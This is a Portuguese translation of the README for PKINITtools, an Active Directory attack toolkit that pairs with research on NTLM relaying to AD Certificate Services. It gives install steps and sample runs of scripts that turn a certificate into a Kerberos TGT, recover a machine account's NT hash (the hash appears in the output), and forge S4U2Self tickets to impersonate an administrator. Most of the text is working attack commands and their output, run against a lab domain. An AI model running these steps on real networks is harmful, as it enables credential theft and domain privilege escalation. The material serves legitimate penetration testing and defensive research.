
Ferramentas para Kerberos PKINIT e relay para AD CS
Este repositório contém algumas utilidades para trabalhar com PKINIT e certificados.
As ferramentas são construídas em cima de minikerberos e impacket. Postagem de blog acompanhante com mais contexto: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
Estas ferramentas são compatíveis apenas com Python 3.5+. Clone o repositório do GitHub, instale as dependências e pronto:
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos
O uso de um virtualenv para isso é recomendado.
Solicite um TGT usando um arquivo PFX, seja como arquivo ou como blob codificado em base64, ou arquivos PEM para cert+chave. Isso usa Kerberos PKINIT e irá gerar um TGT para o arquivo ccache especificado. Também imprimirá a chave de criptografia AS-REP que você pode precisar para a ferramenta getnthash.py. Exemplo de uso:
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache
Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key
positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in
optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file
Use Kerberos U2U para enviar uma solicitação TGS para si mesmo. Isso incluirá o PAC que, por sua vez, contém o hash NT que você pode descriptografar com a chave AS-REP que foi usada para o seu TGT específico. É mágico, na verdade. Esta ferramenta requer que um TGT resultante do PKINIT esteja na sua variável de ambiente KRB5CCNAME. Uso:
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity
positional arguments:
identity domain/username
optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON
(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571
Usa Kerberos S4U2Self para solicitar um ticket de serviço que seja válido no host para o qual você obteve um certificado. Esse ticket pode então ser usado para interagir com o host original. Isso requer apenas um TGT para a conta de máquina deste host. Este TGT deve estar em um arquivo ccache que você especificar em kerberos_connection_url. O único kerberos_connection_url aceito para este exemplo é aquele que contém um arquivo ccache, por exemplo kerberos+ccache://domain.local\\victimhostname\$:[email protected]. O SPN deve ser um nome de serviço no host que você está personificando; você não pode usar isso para ataques de delegação (já que não implementa S4U2Proxy, já existem muitas ferramentas para isso). Uso:
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache
Gets an S4U2self ticket impersonating given user
positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
spn the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
targetuser
ccache ccache file to store the TGT ticket in
optional arguments:
-h, --help show this help message and exit
-v, --verbose
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!
MIT